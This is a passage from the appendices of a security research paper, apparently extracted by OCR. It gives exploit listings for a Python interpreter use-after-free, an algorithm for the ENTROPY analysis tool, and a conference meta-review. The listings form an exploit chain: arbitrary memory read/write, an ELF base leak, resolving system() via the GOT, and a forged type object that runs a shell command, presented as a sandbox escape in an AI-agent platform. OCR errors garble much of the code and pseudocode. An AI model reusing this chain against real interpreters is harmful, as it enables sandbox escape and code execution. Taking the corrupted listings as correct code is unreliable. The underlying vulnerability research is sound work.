43 None, default_handler, encode_str, None, ": ", ", ",
False, False, True

44 )

45 encoder (BadDict (a=1), 0)

46

S
.|

/* Arbitrary Read / Write Primitives =/
def read64 (addr) :
return int.from_bytes (bytes (mem[addr + i] for i in
range (8)), "little")

J

e

S
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def write64 (addr, value):
data = value.to_bytes (8, "little")
for i in range(8):
mem[addr + i] = datali]
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Listing 3: Triggering UAF and establishing arbitrary memory
access primitives (exploit part one).
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/+ Leak ELF Base x/

2 PAGE_SIZE = 0x1000

3 tp_dealloc = read64(id(int) + 0x18)

4 elf_base = (tp_dealloc >> 12) << 12

6 while read_bytes (elf_base, 4) != b"\x7fELF":
7 elf_base -= PAGE_SIZE

9 print (f" [+] ELF base: Ox{elf_base:x}")

11 /+ Resolve system() via GOT Table =/

12 e_phoff = readé64(elf_base + 0x20) # program header
offset

13 e_phentsz = read64 (elf_base + 0x36) & Oxffff #
program header entry size

15 for i in range (read64 (elf_base + 0x38) & Oxffff):
16 phdr = elf _base + e_phoff + i % e_phentsz

17 if read64 (phdr) & Oxffffffff == # PT_DYNAMIC

18 p_vaddr = read64 (phdr + 0x10)

19 dynamic = p_vaddr if p_vaddr > 0x10000 else
elf base + p_vaddr

20 break

22 dt_jmprel = dt_symtab = dt_strtab = None; off = 0

24 while (d_tag := readé64 (dynamic + off)):
25 d_val = read64 (dynamic + off + 8)
26 if d_tag == 23: dt_jmprel = d_val # DT_JMPREL
27 elif d_tag == 6: dt_symtab = d_val # DT_SYMTAB
28 elif d_tag == dt_strtab = d_val # DT_STRTAB
29 off += 16
30
31 for i in range (0x100):
32 rela = dt_jmprel + i x 24
33 r_offset = read64 (rela)
34 if r_offset ==
35 break
36
37 sym_idx = read64 (rela + 8) >> 32
38 sym = dt_symtab + sym_idx x 24
39 name_off = read64 (sym) & Oxffffffff
40 if name_off == 0:
41 continue
42
43 name = read_bytes(dt_strtab + name_off,
20) .split (b"\x00") [0]
44 if name == b"system":
45 system_addr = read64 (r_offset)
46 break
48 print (f"[+] system() @ Ox{system_addr:x}")
49
50 /* Get Shell via Fake PyTypeObject */
51 fake_type = (
52 p64 (0x1000) +
53 p64 (id(json.scanner.re.enum.bltns.type(int))) +
54 b"\x00" * 0x28 +
55 p64 (system_addr) + # hijack tp_getattro
56 p64 (system_addr) x 50
57 )
58
59 fake_type_addr = id(bytes(fake_type)) + 32
60
61 cmd = (
62 bytes ([ (b"id" + b"\x00" = 6)[0] - 1]) + b"d" +
b"\x00" * 6
63
64 fake_obj = cmd + p64 (fake_type_addr) + b"\x00" x 0x100
65 fake_obj_addr = id(bytes(fake_obj)) + 32 # skip header
66
67 payload = [None]
68 write64 (read64 (id(payload) + 0x18), fake_obj_addr)
69
7

payload[0] .pwned # Trigger system("id")

Listing 4: Leaking addresses, resolving system function, and
achieving arbitrary code execution in coze-studio’s agent platform
(exploit part two).

Appendix C.
Cross-reentrancy Path Search

Algorithm [T] details how ENTROPY concretizes a reen-
trancy dataflow path 7, and an integrity dataflow path 7;
into executable control-flow paths 7., over the ICFG.

Algorithm 1 Cross-reentrancy Path Search Algorithm

Require: Inter-procedural control-flow graph (ICFG) G = (V, E),
Reentrancy dataflow path 7. = (ro,...,rm), Integrity
dataflow path m; = (io,...,%n), Mapping bb(-) from each
dataflow node to an ICFG basic block in V'

Ensure: Paths 7. in G that realizes both 7, and 7; in order,
ending at bb(i,) or L if none exists.

> Stepl: map dataflow paths to basic-block sequences
1: I« (bb(io),...,bb(in))
2: R+ (bb(r1),...,bb(rm))
> Step 2: compute the reachability map
3: Reachable <~ COMPUTEREACHABILITY (G)
> Step 3: find all feasible insertion positions for nodes in R
4: for k < 1 to |R| do
5: Pr 0

6: for j < 0 to |I| do

7: u<+ (j>0)?I[j—1]: R[k]

8 v (5 < [1l) 2 1]j) : RIK)

9: if Reachable(u, R[k]) A Reachable(R[k],v) then

10: Pr < P U{j}

11: end if

12: end for

13: if P, = ( then

14: return |
15: end if
16: end for

> Step 4: composite all valid insertion position assignments
17: A<—{<]1>7]m> |]k €Pr A g1 < SJW}
18: if A = () then
19: return L
20: end if

> Step 5: construct control flow paths

21: for all « = (posi,...,posm) € A do
22: S < inserting R[k] into I at j) for k = 1..m
23: Ter < CONCRETIZEPATH(G, S)
24: output e
25: end for




Appendix D.
Meta-Review

The following meta-review was prepared by the program
committee for the 2027 IEEE Symposium on Security and
Privacy (S&P) as part of the review process as detailed in
the call for papers.

D.1. Summary

This paper defines Reentrant Interpretation Vulnerabil-
ities (RIVs), a class of interpreter bugs in which user-
defined Python code, invoked implicitly during an interpreter
operation, mutates state that the outer operation assumes is
stable. It presents ENTROPY, which combines reentrancy-
aware static analysis with LLM-guided PoC synthesis and
dynamic validation to detect them, and applies it to three
Python interpreters.

D.2. Scientific Contributions

o Creates a New Tool to Enable Future Science

« Identifies an Impactful Vulnerability

o Establishes a New Research Direction

o Addresses a Long-Known Issue

o Provides a Valuable Step Forward in an Established
Field

D.3. Reasons for Acceptance

1) The paper identifies an impactful vulnerability. It
names and formalizes a new class of interpreter
bugs with a clear three-condition definition and
shows that the class occurs systematically across
three distinct interpreters—CPython, MicroPython, and
RustPython—rather than being a quirk of one imple-
mentation. ENTROPY discovers 114 previously un-
known RIVs, and the authors construct a complete
sandbox-escape exploit achieving arbitrary code exe-
cution against coze-studio, a popular real-world Al-
agent platform. The fix for the underlying CPython
vulnerability was merged into all affected CPython
versions.

2) The paper establishes a new research direction. Individ-
ual instances fitting the RIV definition had previously
appeared in issue trackers, but the vulnerability class
had not been formally defined or systematically studied
and detected. The methodology is well matched to the
problem: it pairs an under-constrained reentrant flow
with an integrity-constrained taint flow and determines
whether they can overlap, using a sequence-merging
algorithm to avoid exponential path enumeration. Be-
cause the system reports vulnerabilities only after in-
dependently validating generated PoCs, the reported
set has no false positives under the paper’s reporting
criterion.

3) The paper creates a new tool to enable future science.
The authors make ENTROPY and its associated arti-
facts available, and the reviewers expect the work to in-
spire follow-up research on other interpreted languages
and systematic defenses against this vulnerability class.
In the authors’ evaluation, five state-of-the-art fuzzers
detected no RIVs under the evaluated settings, provid-
ing evidence that these vulnerabilities are difficult for
existing fuzzing approaches to reach.
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